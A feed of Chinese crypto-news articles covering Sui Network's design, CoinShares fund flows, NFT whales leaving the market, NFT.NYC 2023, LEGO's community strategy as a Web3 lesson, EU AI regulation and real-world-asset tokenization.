    原文：《主网上线在即，如何向你的朋友介绍Sui Network？》 4月15日，OKX、Bybit、Kucoin 等交易所宣布将上线Sui Token ，相关交易所均有推出 Sui Token 的WL白名单的认购机制。Sui Network 主网上线更进一步，但Sui 究竟是什么以及它是如何工作的，很少有详细的解释。本文来自Sui ecosystem 的核心团队成员ALEX MAC'EVOY，由Sui World 编译，Sui ecosystem是 Move Accelerator 的合作伙伴之一。（相关阅读：《Sui对标Aptos至少涨10倍？速览如何参与代币销售？》） 首先，我们需要了解“区块链”，区块链的另一个定义是分布式数据库或分类账本，最接近的类比是云服务，有几家行业巨头，如谷歌、亚马逊和微软，为全球数百万项目和公司提供数据存储和计算能力。云本质上是共享资源以充当单一平台的服务器聚合。 但是，依赖中心化的云服务意味着一些限制： 1）使用的服务器可以被平台关闭； 2）隐私性被牺牲。 区块链能够解除以上的限制，提供去中心化服务，简而言之，没有一个人或公司控制区块链网络和数据，区块链由连接到它的所有机器或服务器维护，只要这些服务器中的一小部分仍在连接和运行，网络就无法关闭。 在 Sui 上，我们将这些服务器称为「validators」验证者，因为它们验证区块链上的交易。 Sui 是一个layer1 的区块链，这意味着它是一个基础级别的区块链，其软件运行在一组独立维护的「validators」验证者上。 相反，layer2 或更高级别的区块链是对 layer1 区块链的补充。layer2 区块链可能构建在 layer1 之上，以增加可扩展性或添加原链上中不存在的功能。 这张 Sui 网络架构图显示了应用程序如何将交易发送给验证者进行验证 接下来解释「proof-of-stake」的概念，支持区块链的验证者必须就发生的哪些交易是有效的达成一致，这一过程称为共识。当一个公司运行所有服务器时，共识不是问题，但当有许多独立运营商时，必须有一种机制让他们就批准交易时达成一致。「proof-of-stake」机制本质上是让这些独立运营商证明他们有权批准交易的凭证。 运行支持 Sui 区块链的「validators」验证者独立运营商也应该为他们的付出获得回报，因为运行服务器需要花钱。Sui 通过链上原生Token —— SUI 来奖励这些验证者运营商。 也可以将 Sui 视为类似于 Linux、Windows 和 macOS的操作系统。构建者可以在这些操作系统上编写运行的应用程序。 在 Sui 上，构建者使用一种相对较新的编程语言—— Move。具体来说，Sui 使用了一种我们称之为 Sui Move 的变体，这与其他区块链的通用编程语言比如 Rust 和 Solidity 是完全不同的。 Sui Capys 是一款在 Sui Devnet 上发布的游戏，每个 Capy 作为一个对象存在于 Sui 网络上。 涉及共享对象的交易必须由区块链上的验证者批准，这是一个资源密集型过程，在大多数区块链上，所有对象都是共享的，因此每笔交易都必须经过这个审批流程，导致所需要花费的时间成本和经济成本提高，Sui 上的许多交易都涉及简单的一对一交换，从而降低了资源成本。 为了获得更多技术性，每个 Sui 对象必须具有以下字段： Unique ID：类似于以太坊上的哈希或合约 ID； 版本：显示对象的交易数量，从1开始； 交易摘要：表示包含该对象作为输出的最后一笔交易； Owner 字段：显示所有者，可以是账户地址、另一个对象、不可变的或共享的 当然，构建者可以通过包含其他字段来自定义对象， Sui 允许在对象设计中发挥大量的创造力。 作为一个流行的用例，构建者可以创建一个由对象组成的游戏。例如，在赛车游戏中，玩家的汽车就是一个对象，玩家拥有该对象，游戏中的汽车可以改装，因此玩家可以添加油漆工作、更改轮胎、升级增压器等，使汽车更具有竞争力。这些升级中的每一个都是一个单独的对象，当玩家获得并添加到汽车时，这些对象将在 Sui 的中归汽车对象所有。 我们在上面提到了共享和拥有的对象，让我们更深入地了解 Sui 如何使用这些不同类型的对象处理交易，当提到 Sui 验证交易的验证者时，我们提到了共识，Sui 只需要对共享对象达成共识，涉及拥有对象的普通交易不需要达成共识。 拥有的对象不包含在区块链的“块”中，他们使用简化的算法直接与 Sui 上的验证者交互，由于这种架构，拥有的对象交易几乎是瞬间发生的，实际上，这些简单的交易可能涉及一名玩家在赛车游戏中向另一名玩家赠送汽车、某人向社交网络发布消息或在投票中提交投票。 Sui 新颖的共识机制可以执行简单和复杂的交易，前者需要的资源更少，处理速度非常快 Sui 是如何进行验证简单交易的？ 1）发送者向所有 Sui 验证者广播交易； 2）每个 Sui 验证者都会对该交易进行投票，每个投票都有一个基于验证者的质押的权重； 3）发送者将对抗拜占庭式的多数选票收集到证书中，并将其广播回所有 Sui 验证者，该操作处理交易，将其记录在Sui 上，并确保交易不会被删除或者撤销。 面对更复杂的交易，Sui 是按照如以下步骤进行验证的： 1）发送者向所有 Sui 验证者广播交易； 2）每个 Sui 验证者都会对该交易进行投票，每个投票都有一个基于验证者的股份的权重。 3）发送者将抗拜占庭式的多数选票收集到证书中，并将其广播回所有 Sui 验证者。然而，这一次，证书通过称为拜占庭协议的过程进行排序，验证者必须在该过程中达成共识，一旦交易成功排序，发送方将证书广播给验证者以结算交易。 如上所述，单个交易绕过共识并几乎立即处理。使用共享对象的交易必须经过共识。如果 Sui 使用共享对象同时处理许多交易，则每个共识必须按顺序发生，这可能会延迟交易。 大多数其他区块链只允许后一种交易类型，并且无法绕过共识。 Sui 的分布式计算模型更像是传统的云服务，而不是典型的区块链。许多区块链使用代币经济学模型来控制服务器负载：随着负载的增加，gas 费用也会增加。更高的GAS 费减少了交易数量，因为用户只能支付特定金额。 随着 Sui 上负载的增加，验证节点可以简单地增加更多的处理能力，类似于 Amazon Web Services 在客户端流量增加时可能添加更多服务器的方式。验证节点可以赚取更多的Gas费而不是花费更高，所以会被激励增加验证服务器。这种模式不仅让 Sui 规模化以支持增加的用户流量，还保持平稳稳定的 Gas 费用，让更多用户加入Sui 的生态。通过这种方式增加网络容量可以确保游戏快速运行，应用app 可以快速响应以及social 应用的发布，构建者不会因为上涨的Gas 价格设置费用，网络不会因为Gas war 造成故障。 Sui Move 是 Sui 的原生编程语言，Sui Move 所基于的核心 Move 语言创建于 2018 年，是专门用于区块链上开发的智能合约编程。Move 的创建者看到了对资产和访问控制的抽象需求，这在以前的区块链编程语言中是不存在的，这些抽象对区块链很有意义，因为去中心化将资产和访问控制是网络大多数活动的中心。 然而，随着 Sui 的创始团队开始开发这个新的区块链，他们认为有必要进一步完善 Move。尽管 Move 专为区块链上的智能合约编程而设计，但它仍然缺乏对账户、交易、时间和密码学等区块链特定概念的原生支持。区块链需要构建对这些功能的支持，这不仅耗时，而且会导致安全等关键功能的实施不一致。Sui Move 旨在整合区块链开发人员创建高性能、安全、功能丰富的应用程序所需的一切。  ( 3 min )
    CoinShares：上周数字资产投资产品净流入约1.14亿美元
    PANews 4月17日消息，据CoinShares周报数据，上周数字资产投资产品净流入 1.137 亿美元，近 4 周总计流入约 3.45 亿美元。其中比特币投资产品净流入 1.038 亿美元，以太坊投资产品净流入 30 万美元，做空比特币的投资产品净流入 1460 万美元。  ( 1 min )
    NFT大鳄黄立成为何突然退圈？或与这2点原因有关
    原文：《黄立成退圈NFT，是亏麻的绝望还是受迫的冷静？》 作者：十文 最近三天，两位 NFT OG 「Franklin」和「麻吉大哥」 黄立成相继宣布退出 NFT 领域。「Franklin」和「麻吉大哥」是最早一批具有一定交易规模的 NFT 玩家，也是 BAYC 大户。他们的交易频率、NFT 持有量、卖出价格都会对 NFT 交易市场以及 BAYC 等蓝筹 NFT 的地板价产生一定的影响。 此前，Blur 创始人 Pacman 就表示，「Franklin」和「麻吉大哥」 相当于是 NFT 领域的 Jump Trading 和 Jane Street，将他们比作「头部做市商」也意味着双方为 NFT 交易的流动性以及新玩家的入圈都做出了巨大贡献。 因此，此次二位大哥的退出，为本就沉闷的 NFT 市场新增了一丝不确定性。 与「Franklin」赌博和投资失败为理由退出 NFT 市场不同，「麻吉大哥」并未说出具体原因，且「Franklin」在宣布退出 NFT 领域后抛售了大量 BAYC，几乎卖掉所有 BAYC。而「麻吉大哥」目前仍未大量出售手中的 NFT，且于 4 月10 日发推文表示仍然喜爱 BAYC 这个社群，并将「退出 NFT 领域」的推文取消置顶，新置顶改为 BAYC NFT。 这番矛盾的举动引发社区热议，更让人捉摸不透。不过从其推文内容以及近来 NFT 交易情况来看，我们猜测「麻吉大哥」此般言论背后的原因有二。 自从 Blur 开启第二季空投积分活动后，「麻吉大哥」就一直霸占 Blur 积分榜第一、交易动作频繁。「麻吉大哥」拥有大量 BAYC 和其他蓝筹 NFT，通过挂单和出价来获得交易积分，同时增加了 NFT 的流动性，这其实是很正常的表现。但随着近来 NFT 市场下跌，赚取积分的用户没有之前的活跃，手握一堆 NFT 的交易员们也开始想方设法将他们出掉。 恰逢 Blur 开启第二季空投积分活动，Blur 的流动性为 NFT 交易员们创造了有利的抛售条件。因为 Blur 的做市激励机制可以让交易者在 Blur 上以接近地板的价格挂出 NFT，进一步创造出紧密的买卖价差，使 Blur 的地板价比其他市场上的价格低。这种方式会不断为 Blur 创造护城河，增加出价深度。 而「麻吉大哥」在这场巨鲸游戏中成为了「牺牲者」，先后接盘了 71 只 BAYC，以及 77 只 CryptoPunks，资金损失超 2000 ETH，后又紧急抛售 1000 多枚 NFT，BAYC 的地板价跌幅一度达到 25.5%。后又迅速回购了 991 个 NFT。据分析师推测，「麻吉大哥」此次行为可能是先获得一些利润，再进行「清洗交易」以获得 Blur 空投积分，或者是「赤裸裸的市场操纵」。并且，「麻吉大哥」的此次行为也被质疑在制造恐慌。 不过，「麻吉大哥」是否是有意而为之，外人无法确定。毕竟接盘行为不是「麻吉大哥」主动造成的，卖点 NFT 回回血也是正常交易行为。只不过，作为「做市商」的「麻吉大哥」一举一动都对 NFT 市场有着重要的影响。如此大的抛售必然会成为舆论的焦点。 「麻吉大哥」曾发文：「因为 Blur 或我，Punks 将走向归零？」，似乎是其在遭到社群谩骂后表达的一种无奈情绪。 此外，也有「麻吉大哥」的粉丝表示不要在意这些言论，继续做你的事，就让他们误解你、批判你，这并不是你的问题。但「麻吉大哥」回应道，「我又不是耶稣」。 猜测二：Blur 奖励延长，亏损上千以太，急需冷静 根据 Proof 研究总监 NFTstatistics.eth，「麻吉大哥」在 Blur 游戏中损失超 5000 ETH。 虽然第一季的 Blur 空投可以为其抵消一部分损失，但缺口尚在。且根据 CoinGeko 数据显示，BLUR 自上线以来，价格持续走低，从 1.33 美元的高点下跌至 0.44 美元，截止发稿前暂报 0.72 美元。并且第二季 Blur 空投活动还在继续，并延长至 5 月 1 日，这恐让日前拼命刷取积分的用户价值继续降低，也意味着「麻吉大哥」的损失很可以会加倍，这也让「麻吉大哥」无法再证明他们的损失是合理的，并愤怒留言：「FUCK」。 双重损失让「麻吉大哥」更加谨慎。 其实除了「Franklin」和「麻吉大哥」宣布退出 NFT 领域外，BAYC 的 OG 之一 Jimmy.eth 也在最近抛售了多个 BAYC 和 MAYC，有用户表示这些来自鲸鱼 OG 的举动损害了社区的信任，因为他们的行为已经不是个人交易行为，而是影响着整个市场。近期的多个事件也让 BAYC 的地板价也从 60 ETH 下跌至 54 ETH，扰动了整个 NFT 市场，并导致 BendDAO 上不少 NFT 的清算。 但令人感到困惑的是，「麻吉大哥」目前仍持有 62 个 BAYC 成为该项目的第六大巨鲸，并没有像「Franklin」宣布退出时抛售他们，且其头像和推特内容也都在积极宣传 BAYC。 或许，「麻吉大哥」宣布「退出」只是暂时行为（在 NFT 和 meme 世界中，没有什么发言是可被确信的），始终站在「风口浪尖」的他也想要冷静一下。  ( 3 min )
    人气下滑头部项目缺席，“NFT届超级碗”NFT.NYC的亮点与遗憾
    香港上百场Web3大会点燃东方加密热潮的同时，2023年的“NFT届超级碗”NFT.NYC也于4月12日至14日在美国纽约举行了为期三天的盛会。虽然因整体NFT市场的规模大不如前，本届大会的影响力和人气有所下降，但活动中NFT寻宝游戏、NFT与NFC芯片结合、Web3科幻片等现实用例则表明，NFT依旧具有强大的创新力和叙事力。 NFT.NYC是由Jodee Rich和Cameron Bale在2018年共同创立，初衷是NFT创作者和收藏者，聆听社区的声音并推广NFT的价值。今年是NFT.NYC的第五届，共有约1500名演讲者参与，包括OpenSea联合创始人Alex Atallah、PwC合伙人Anna Kajirian、Animoca Brands CEO Yat Siu等，演讲主题分为特色、艺术、品牌、社区、娱乐、未来、游戏和法律。 受NFT市场疲软影响，相比上一届超260家的赞助商规模，NFT.NYC 2023仅吸引了Immutable、OpenSea、AWS、PwC和TRON等88家项目/企业支持。与此同时，NFT.NYC的与会者人数也从2022年的1.6万下降至今年的约6000名。不仅如此，NFT.NYC官方推出的入场券NFT NYC 2023 PASS只出售了66个，仅占总量的26.4%。 此外，与2022届NFT.NYC活动在纽约市纽约马奎斯万豪酒店、时代广场等七个知名场地举办不同，本次大会的大多数活动均由多个赞助商分摊费用，且部分活动在免费或平价的场地举行，比如公寓楼的公共空间或潜水酒吧。对此，NFT.NYC的内部成员表示，外部活动更为重要，公司过去几年投入的所有资金并不一定有助于Web3事业。 而NFT NYC人气或也是部分头部项目的缺席有着一定关系。相比于去年的明星阵容，今年BAYC、Azuki、Doodles和Coolcats等均缺席NFT.NYC。同时，BAYC和NFT NYC于2022年举办的ApeFest可谓是众星云集，Eminem、麦当娜、Snoop Dogg、余文乐、冯德伦等国内外知名明星参与助阵，吸引了很大的圈内外流量，而今年BAYC母公司Yuga Labs将不会与NFT NYC一起举办，而是另寻新地点。 “无论熊市与否，Web3和NFT文化仍然存在并发展的很好。”NFT NYC官方表示。尽管人气下滑，但NFT的创造力仍在NFT NYC上得到了充分展示。 比如，多家项目发起了基于地理位置的NFT活动，其中知名NFT收藏家Gmoney与其Web3原生奢侈品牌9dcc发起的NFT寻宝活动，打造了沉浸式NFT体验。在三天的时间里，NFT寻宝活动要求参与者必须沿着线索找到纽约市的各个地标并进行签到，至少七个不同位置，通过扫描他们的手机上每个位置签到来获得纽约市艺术家Snuffy的纪念POAP和别针（送完即止）；奖品包括罕见的Chromie Squiggle NFT、未铸造的Art Blocks首席执行官Erick Calderon推出的Chromie Squiggle NFT系列，持有者未来将有资格参与9dcc创建的游戏化活动；DeGods和Y00Ts背后初创公司DeLabs则推出了为期多天的DeNYC体验，参与者可通过打卡中央车站、帝国大厦、贝尔维尤精神病院等著名地标来赢取NFT铸造机会和价值超10万美元的奖品等。 同时，NFC与NFT有了更多结合，包括9dcc推出的ITERATION-03棒球帽引入了NFC芯片，可增加佩戴者之间的社交属性；美国传统牛仔品牌Wrangler Jeans和NFT艺术家Jeremy Booth联手打造了独家的phygital可穿戴设备，该物品嵌入的NFC芯片可连接至Booth设计的NFT，除了具有收藏价值外，还可作为增强身份验证和所有权证明的一种手段。前300名在NFT NYC期间与Booth会面的收藏家能够获得独家NFT，该NFT尚未公开发行，相关的发行机制、价格和日期的更多细节将在不久后公布。 另外，NFT NYC大会上也展示了Web3概念正将通过影视作品在更大范围的群体中得到传播。资深电影制片人和演员David Bianchi在大会上展示了即将上映的反乌托邦科幻剧《RZR》，这是一部真正意义上的Web3原生作品，由Web3公司制作并将在Web3娱乐平台Gala Film上首映，NFT持有者可通过四个稀有级别NFT获得独家奖励、访问权和电影体验。 除此之外，随着Ordinals协议的发布，今年来比特币NFT也开始被大受追捧。NFT NYC活动期间，比特币应用生态系统Trust Machines在一家名为PubKey的比特币主题酒吧举办了活动，不少比特币爱好者也参与其中。 值得一提的是，不少知名项目和企业在NFT NYC会议期间还发行了NFT，比如Pudgy Penguins与NFT 衍生品交易市场0xmerch.io联合推出 NFT NYC 2023限量款Brick玩具，购买者将自动获得Pudgy Penguins NFT NYC 2023纪念SBT，未来Pudgy Penguins社区和0xmerch平台将给予此SBT持有者更多赋能；万事达卡则推出了免费的Music Pass NFT，可在4月底之前在Polygon上进行免费铸造，持有者可以使用人工智能音乐生成器应用等功能，并有机会赢得6月份由万事达卡加速器计划中的艺术家主持的现场音乐会；Moonbirds母公司PROOF推出新NFT系列，将予4月27日发售，其中包含由包括 Beeple 在内的1万名艺术家创作的22件数字艺术作品，并在NFT NYC上为Moonbirds持有者举办Beeple的LIVE Everyday派对；相机巨头佳能美国公司Canon USA将在今年晚些时候推出以太坊NFT市场“Cadabra”，该市场将提供基于各种类别照片的NFT，包括野生动物、运动、生活方式和风景等，Cadabra将同时提供照片集和转售NFT的二级市场服务。 由此来看，尽管行情变化对市场参与度带来一定影响，但这些NFT NYC上的现实用例却展现出NFT在娱乐、时尚、艺术和文化等领域仍具备强大的创造力，以及对艺术家和创作者经济的颠覆性。  ( 2 min )
    从乐高崛起，看Web3生产关系革命之路
    原文：《从乐高到Web3：公司与社区的共生之路》 作者：王超 身处Web3世界的每一个人都对乐高很熟悉。我们把DeFi比喻成金融乐高，把DAO比喻为组织乐高，未来还会有商业乐高及各种垂直领域的乐高比喻。大家喜欢这么比喻是因为各种Web3产品经常互相组合在一起，很像乐高积木的创意组合。 但可组合性远不止是乐高积木给我们的唯一启示。我们常常会忽略这样一个事实，仅仅拥有可组合性并不够，创新并不会凭空诞生；一个开放和包容的社区对于激发创新至关重要。 在公司与社区相互支持的推动下，乐高在过去 20 年从一个濒临破产的公司起死回生、进而成长为全球玩具行业的第一名。这个故事展示了积极的社区参与的重要性，并给如何实现这一目标提供了参考。乐高的案例不仅值得传统企业学习，也能够给Web3世界足够的启发。 （乐高的复兴并不是只因为社区战略一个因素，而是业务收缩聚焦等多种因素汇集到一起的结果。但社区战略给乐高带来了源源不断的创意和广泛的消费者支持，是关键因素之一） 自从1932年诞生起，乐高就牢牢占据着玩具市场的主要地位，但到了90年代，游戏机、音乐播放器等科技产品开始流行，儿童逐渐失去了对乐高积木类玩具的兴趣。随着销售额逐渐下滑，1998财年，乐高历史上第一次亏损了。 面对这样的颓势，乐高不是没有努力过。为了重新夺回孩子的兴趣，乐高的研发部门在九十年代后期开发了很多新的产品，这其中就包括一个叫头脑风暴的套装，它包含一个机器人控制器、三个电机、三个传感器、700多个积木以及一个用于给控制器编程的软件。乐高最初是为中高龄儿童设计的，但很快发现他们 70% 的销售额来自成年人，而且他们购买这些套件是为了自己玩。事情很快就失控了，首先是一个斯坦福大学的学生反编译成功了头脑风暴的软件，几周之内，来自世界各地的黑客纷纷破解了该工具包，创建了比乐高原版更复杂的程序，让爱好者们可以释放他们的创造力。 历史上的乐高是一个封闭，并充满骄傲的公司，他们有对品质的坚持，并且认定“乐高自己做的才是市场最好的”。来自社区的破解让乐高法务部非常紧张并计划采取法律行动。 但乐高犹豫了很久，一方面是诉讼将会非常困难而且成本极高，另一方面是头脑风暴团队给出了不同意见，他们认为大家之所以破解是因为喜欢这个产品。经过很长时间的讨论，最终乐高放弃了诉讼。 那就合作吧。为了培育这个社区，乐高建立了一个官方论坛，并在头脑风暴的最终用户许可协议中添加了“破解权”条款。(“right to hack”) 结果很美好。无论是乐高官方论坛还是社区自己建的网站都非常火，世界各地的粉丝建立了几百个网页来展示他们的新发明并一步一步教大家如何复制。出版社也开始出版如何给乐高机器人编程的书籍，一些初创公司开始制作销售兼容头脑风暴的传感器和其他硬件，还有社区成员开始组织机器人大赛。几乎是一夜之间就围绕头脑风暴形成了一个生态体系。来自社区生态的支持又吸引了大量新用户，导致产品脱销，以至于在圣诞节到来之前就没有了库存。乐高第一次尝试到了社区参与的威力。 90年代在慌张中研发的绝大部分产品都以失败告终，并几乎把乐高拖垮了，多个产品线被关闭。尽管头脑风暴聚集了很多社区支持，但乐高老一代的管理层对这一产品以及社区都缺乏足够的热情，2001年，头脑风暴团队被解散了，产品从此停止了更新。 2004年，命悬一线的乐高任命JørgenVig Knudstorp出任CEO，这给它一个机会去反思战略，尤其是公司与社区关系的价值。新CEO很快得出结论 - 拥抱社区。 “我们认为创新将来自于与社区的对话。” Jørgen Vig Knudstorp 乐高集团CEO 尽管头脑风暴产品已不再更新，但社区对于头脑风暴的热情并未消失。头脑风暴比赛的参赛者已经从最初的数千人发展到了2004年的5万人。于是新CEO决定重启这一系列，并希望邀请社区中最活跃的支持者来共同创造。 多年后当被采访到这段历史，我们发现乐高当时并未对社区有更深的情感，甚至大部分公司内部成员都不理解，也不是很支持邀请社区成员来一起创造。新CEO最终靠几个现实的理由说服了大家 1.社区爱好者的见解能够增加产品的成功率。 2. 邀请社区参与能建立更好的消费者信任。 3. 邀请社区共同设计产品本身具有很强的报道性，可能会被各媒体报道从而节省宣传成本。 4. 社区也会自发参与宣传。 一句话，既能增加销量，又能省钱。 当然挑战也很大。社区里谁是合适的人？如何保证方向不失控？如何保密？如何打消公司内部成员对于社区协作的偏见？但最终乐高克服了所有这些困难，他们从社区中发掘了四位最有热情的精英用户参与共同创作，2006年新版头脑风暴发布，获得了巨大的成功。这就是经典的头脑风暴 NXT系列。 四位社区共创者之一Steve Hassenplug 图片来源 : Tech Insider 销量的增加并不是唯一的收益，乐高自此开始对社区的力量深信不疑，并导致公司战略的大转向。从最初的四人精英小队参与设计开始，乐高开始构建一个金字塔体系，不同的社区爱好者被分为不同的层级，衡量标准则是对于产品的贡献，比如设计出新玩法或者找出漏洞。社区参与也从头脑风暴套装开始拓展到更多产品，如经典的火车系列的改造。 2006年，一个叫塔克的建筑设计师利用乐高积木搭建出了芝加哥知名地标西尔斯大厦，在社区内引起了关注。这一动态很快被乐高注意到，最终，乐高和塔克本人达成了一个实验性的合作，乐高提供积木和品牌授权，塔克创造并卖出1250套西尔斯大厦。塔克和妻子在车库完成了1250套积木的生产并交付到了芝加哥当地的纪念品商店，仅仅10天就卖掉了一半。 Lego Willis Tower 图片来源 ：维基百科 试验获得初步成功后乐高扩大了实验规模，在公司内部组建了一个临时小组，用业余时间完成了产品的包装设计，组织生产等工作，生产了4000套试验品送到了更多的纪念品商店，结果依然是迅速销售一空。最终这个套装成为乐高的正式产品，并很快拓展为一个系列 – 乐高建筑系列。 乐高建筑系列 - 上海天际线 从希尔斯大厦开始，乐高建筑系列拓展出了数十个在全世界广受欢迎的产品，不仅实现了巨额的销售，还拓展了大量此前从不消费乐高玩具的用户。而因为这个系列的调性足够高，看起来不像儿童玩具而是艺术品，这也让乐高的产品成功走入了很多高端零售渠道。 图片来源：Reddit用户 Neural- 随着和社区走的越来越近，乐高也建立起了更加完善的社区支持体系： 乐高大使网络：每个经过认证的乐高社区都有一位大使名额，他们获得直接与公司沟通的渠道，同时还与世界各地的其他大使建立联系，促进社区与乐高之间的积极互动。 乐高认证专家：他们是最专业的乐高玩家企业家，把对乐高积木的热情转化为自己业务的一部分，并和LEGO 合作促进品牌生态。 乐高创意：原创设计社区，用来鼓励用户之间的交流与合作，让他们分享和评价彼此的设计。社区内得到较高支持的设计将可能生产成为正式的乐高产品。设计者不仅可以获得社区内的荣誉称号，还可以获得1%的销售额作为版税。 乐高世界建设：在线创意平台，允许乐高粉丝、内容创作者和故事发烧友一起合作，共同构建全新的乐高世界。用户可以创建自己的原创乐高世界，设计各种角色、故事情节和环境，还可以参与到其他人创建的乐高世界中，共同讨论、修改和改进。社区中涌现出的优秀作品将被纳入官方产品系列，甚至开发成动画、电影、电视剧等形式的内容。 BrickLink：买卖乐高产品的市场，提供分享技巧和设计的社区空间。还提供名为“Studio”的免费软件，用于设计数字乐高模型。它于 2019 年被乐高收购，现在是创新和协作的重要枢纽。 围绕着乐高和社区之间的故事非常丰富，很难在一篇文章中讲全。但现在故事的讲述已经可以告一段落了，我相信这些已经足够给人带来启发。 我们每个人都对社区这个词不陌生。各类公司也常常会在各种场合里提到社区。但事实是，大部分公司从没有过社区，公司口中的“社区”往往指花钱买我产品的消费者。社区是一群有共同兴趣、目标或价值观的人，他们在一定的空间（如地理位置、线上平台等）内相互联系、互动和交流。从这个定义看，仅仅是用户、或者消费者组成的群体，显然不算是一个社区。 建立消费者群体和建立社区的方式和目标也不同，前者是尽量扩大规模，以增加销售。而规模并不是社区追求的首要目标，社区的目标是如何在成员间产生更紧密的连接，以及产生更多有意义的互动，如果没有这些，有再大的社区也不会产生太大价值。 乐高社区的成功有几个关键点， 1.乐高的产品和品牌文化受到全世界众多玩家的广泛喜爱。 2.乐高积木出色的互操作性为创意组合提供了更好的支持。 3.乐高形成了一种尊重、支持和与社区分享权力的文化，并通过一系列项目做到了很好的执行。 而当社区被有效激活，就有机会产生社区驱动的创新和采用，这模糊了生产者和消费者的界限。消费者不再只是消费者，他们变成了生产者，加入到富有想象力的、非传统的生产工作中来，从而形成双赢的局面。 消费者同时也变成了拥有者。尽管乐高并未给消费者提供真正的所有权，但它至少让社区在心里觉得自己拥有乐高这个品牌。心理所有权和真正的所有权是同等重要的东西。在Web3世界中，绝大项目项目都未能建立起有效的社区，这是因为这些项目没能够成功吸引到有认同感的成员，并建立心理所有权。在这种情况下，所有参与者都是投资者或投机者，无论价格涨跌，他们都会离开。赚了止盈，寻找下一个，亏了止损，拉个维权群。 在社区的支持下，乐高的整个商业生态被根本性的改变了。从2004年开始，乐高逐渐走出了困境，并保持了高速的增长，现在乐高已经是世界上最大的玩具公司，2022年是乐高的90周年，这一年乐高的销售额又创新高，已经是2004年的近11倍。 乐高集团销售额（单位：十亿欧元） 2003-2021 来源 D. Tighe 问题当然也有，社区和公司的兴趣并不总是一致的。比如大部分社区成员对参与创造感兴趣，但对帮助企业进行销售没有好感。而在一个高度活跃和相互连接的社区里，企业的控制权会逐渐消失，当公司的理念和社区理念产生冲突时，有时会挑战公司的管理权威。但这也正是共生系统的意义所在，相互输入，相互支持。一个自主的活跃社区才是真正的社区，才是和公司对等的另一方。如果一切都听公司的，那社区跟一个部门就没有了区别。 但在今天的商业世界中，大部分品牌对于社区是陌生的。他们有着数以千万计的消费者，但不知道如何构建社区、更不知道如何给社区分享权力并让社区真正参与到创造当中。不过我们也看到了一个非常好的趋势，通过Web3技术支持的新场景，很多品牌正在勇敢的迈出第一步。 围绕着乐高社区发生的故事，对于大部分Web3世界里的朋友是陌生的。但从某种层面上，我们又对这样的故事无比熟悉。 乐高通过其开放的文化和人们对品牌的热爱成功凝聚了社区。乐高鼓励和培育社区，创造更好的联系和互动。乐高开发了多种机制来鼓励创造力和奖励创造者。乐高玩具的高度标准化和互操作性为便捷的社区创新提供了基础。深入研究乐高社区，我们还可以找到 DAO 的踪迹，讨论、合作、共创、提案和投票，甚至还有创作者版税。 不过在乐高社区中，大家并不真正拥有乐高品牌的控制。大家提交的各类作品，自己也并不掌握数据所有权。从某种程度上说，乐高对于社区的支持和权力分享是一种赏赐，可以随时收回。而社区成员中的绝大多数，并未得到除了乐趣以外的其他回报，尽管他们贡献了价值。甚至包括最初帮助头脑风暴重启的四位社区成员。他们第一次去乐高总部参加项目讨论甚至是自己出钱买的机票。 这不是对乐高的批评。乐高已经比绝大部分品牌都走的远了很多。但也必须承认很多场景具备进一步进化的空间。即使大部分社区成员已经很满足于有机会参与互动和创造，但作为企业经营者，还是应该考虑更多的回馈社区成员，毕竟大家在创造价值，支持品牌。 我们是否可以将创作的真正所有权授予社区成员？如何才能更好地识别到他们互动所产生的价值？能否为社区支持和授权提供更可靠的保障？社区项目是否有更有效的社区治理机制？社区能否共同拥有品牌的一部分或至少分享其创造的价值？如何探索更多开放和协作的可能性？ Web3 可能是解开这一切的钥匙。 不过我们也应该意识到，任何技术都是工具。Web3是一个因技术创新而诞生的领域，各种技术和基础设施还在快速发展。也因为如此，目前在Web3世界里对技术层、设施层的重视要远远大于对应用层和社会层的重视。但我们想要的不是工业革命、互联网革命、Web3革命、AI革命。我们想要的是这些技术革命们带给大家更美好的生活。 而公司拥抱社区，最终追求的是形成的是一种文化，一种创造连接的文化、一种鼓励参与的文化、一种尊重社区中每个个体成员的文化、一种相信社区并愿意和社区分享品牌权力的文化。因为品牌不仅属于企业，也属于成就它的每一个消费者。 Hi, 我有积木，要来一起玩吗？ 本文内容来自作者4.15日在SeeDAO和.BIT共同举办的DAO Hong Kong活动中的主题分享《企业和社区的共生》 Li Jin在几周前通过个人频道发表了一篇关于心理所有权的文章，值得学习阅读。该文章也同时发表在哈佛商业评论。Building Psychological Attachment — Not Just Ownership — Into Web3 (https://li.substack.com/p/building-psychological-attachment)  ( 3 min )
    华尔街日报：ChatGPT和高级人工智能在欧洲面临新的进一步监管
    PANews 4月17日消息，欧盟立法者希望赋予监管机构新的权力，以管理ChatGPT等技术的发展，这或许是西方加码人工智能监管力度最大的一次。一群有影响力的欧盟议员在公开信中表示，近几个月来人工智能的飞速发展表明，需要一套针对强大的通用人工智能工具量身定制的新规则。 据《华尔街日报》看到的信件副本显示，这些议员负责起草该集团所谓的《人工智能法案》，他们致力于在法案中增加条款，引导强大的人工智能朝着以人为本、安全可靠的方向发展。议员们写道：欧盟的政策制定者计划在今年晚些时候通过这项潜在的法案，“可能会成为世界各地不同监管传统和环境也会参考的蓝图”。周一信函的签署方定于本周举行会议，讨论他们的提议并达成共同立场，议会全体成员将在 5 月对此进行表决。欧洲议会预计将在下个月就草案达成一致意见后，它将与代表成员国的欧盟理事会成员进行谈判。  ( 1 min )
    现实资产上链赛道全览：一文了解14个类别50个 RWA 项目
    作者 | 黑米，白泽研究院 DeFi 正在通过对房地产、艺术品等实物资产进行代币化来改变格局。 真实世界资产 (RWA) 代币化是一个将有形资产转换为代币或 NFT 的过程，使它们能够在链上进行交易。 这为投资者开辟了新的机会，因为RWA 有可能提供与加密市场无关的可持续收益，对于寻求多元化投资的投资者来说，这是一个很有吸引力的选择。而链上资本正是要寻求这样可持续、安全的收益机会，因此RWA 代币化能够成为下一次 DeFi 牛市的催化剂。 RWA 代币化也有助于释放流动性，让资金从传统市场自由流入加密领域，提升 DeFi 的潜在价值。 如今，各个资产提供商开始走上 RWA 代币化叙事的舞台，在房地产、贵金属、奢侈品、气候、私人/公共固定收益、新兴市场和贸易融资等行业创造出对代币化的需求。 例如，房地产代币化——将房地产的部分所有权代币化，使投资者能够轻松投资，持有者不仅拥有了部分比例的所有权，还可以获得房地产租金收入。同时房主也筹集到了资金。 随着 DeFi 基础设施项目的成熟，RWA 代币化获得了进一步发展和创新。 MakerDAO、Aave 和 Chainlink 等开创性项目正在带头探索 DeFi 领域内 RWA 的潜力。 虽然对 RWA 的监管尚不确定，但这一叙事的长期潜力仍然很大，能够重塑 DeFi 格局并为加密市场和传统市场带来价值。因此，请密切关注这个叙事的后续发展。 